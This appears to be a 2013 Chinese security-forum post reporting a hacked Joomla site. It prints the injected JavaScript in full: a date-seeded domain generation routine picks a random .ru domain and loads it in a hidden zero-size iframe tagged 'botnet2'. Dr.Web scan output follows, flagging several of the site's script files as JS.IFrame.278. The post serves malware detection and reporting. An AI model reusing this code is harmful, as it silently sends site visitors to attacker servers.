裏面

显示全部楼层 · 发表于 2013-6-16 06:25:32

http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4

复制代码

function nextRandomNumber() {
var hi = this.seed / this.Q;
var lo = this.seed % this.Q;
var test = this.A * lo - this.R * hi;
if (test > 0) {
this.seed = test;
} else {
this.seed = test + this.M;
}
return (this.seed * this.oneOverM);
}
function RandomNumberGenerator(unix) {
var d = new Date(unix * 1000);
var s = d.getHours() > 12 ? 1 : 0;
this.seed = 2345678901 + (d.getMonth() * 0xFFFFFF) + (d.getDate() * 0xFFFF) + (Math.round(s * 0xFFF));
this.A = 48271;
this.M = 2147483647;
this.Q = this.M / this.A;
this.R = this.M % this.A;
this.oneOverM = 1.0 / this.M;
this.next = nextRandomNumber;
return this;
}
function createRandomNumber(r, Min, Max) {
return Math.round((Max - Min) * r.next() + Min);
}
function generatePseudoRandomString(unix, length, zone) {
var rand = new RandomNumberGenerator(unix);
var letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'];
var str = '';
for (var i = 0; i < length; i++) {
str += letters[createRandomNumber(rand, 0, letters.length - 1)];
}
return str + '.' + zone;
}
setTimeout(function() {
try {
if (typeof iframeWasCreated == "undefined") {
iframeWasCreated = true;
var unix = Math.round(+new Date() / 1000);
var domainName = generatePseudoRandomString(unix, 16, 'ru');
ifrm = document.createElement("IFRAME");
ifrm.setAttribute("src", "http://" + domainName + "/runforestrun?sid=botnet2");
ifrm.style.width = "0px";
ifrm.style.height = "0px";
ifrm.style.visibility = "hidden";
document.body.appendChild(ifrm);
}
} catch (e) {}
}, 500);

复制代码

Dr.Web

Checking:http://angoway.com//templates/mp_blue_business/script.js?option=com_rsgallery2&page=inline&id=10&itemid=4
File size:13.47 KB
File MD5:b84fb0913a7779303fd8bba6976f5b4a

http://angoway.com//templates/mp_blue_business/script.js?option=com_rsgallery2&page=inline&id=10&itemid=4 infected with JS.IFrame.278

Checking:http://angoway.com//media/system/js/tabs.js?option=com_rsgallery2&page=inline&id=10&itemid=4
File size:2307 bytes
File MD5:130d1ff08ec89a07a3d5eb7470001dff

http://angoway.com//media/system/js/tabs.js?option=com_rsgallery2&page=inline&id=10&itemid=4 - archive JS-HTML
>http://angoway.com//media/system/js/tabs.js?option=com_rsgallery2&page=inline&id=10&itemid=4/JSFile_1[0][903] - Ok
http://angoway.com//media/system/js/tabs.js?option=com_rsgallery2&page=inline&id=10&itemid=4 - Ok

Checking:http://angoway.com//media/system/js/mootools.js?option=com_rsgallery2&page=inline&id=10&itemid=4
File size:79.93 KB
File MD5:c14f6272a03a50a9cce52c3ddd4beeab

http://angoway.com//media/system/js/mootools.js?option=com_rsgallery2&page=inline&id=10&itemid=4 infected with JS.IFrame.278

Checking:http://angoway.com//modules/mod_rokslideshow/tmpl/slideshow.js?option=com_rsgallery2&page=inline&id=10&itemid=4
File size:20.83 KB
File MD5:ae2298550bc39941425beabe2b801d39

http://angoway.com//modules/mod_rokslideshow/tmpl/slideshow.js?option=com_rsgallery2&page=inline&id=10&itemid=4 infected with JS.IFrame.278

Checking:http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4
Engine version:7.0.4.9250
Total virus-finding records:4130881
File size:13.96 KB
File MD5:7f4e842b598b9b2a16578b95374388ca

http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4 - archive JS-HTML
>http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4/JSTAG_1[466][e5] - Ok
>http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4/JSTAG_2[115a][1917] - Ok
http://angoway.com/index.php?option=com_rsgallery2&page=inline&id=10&itemid=4 - Ok

[已鉴定] 裏面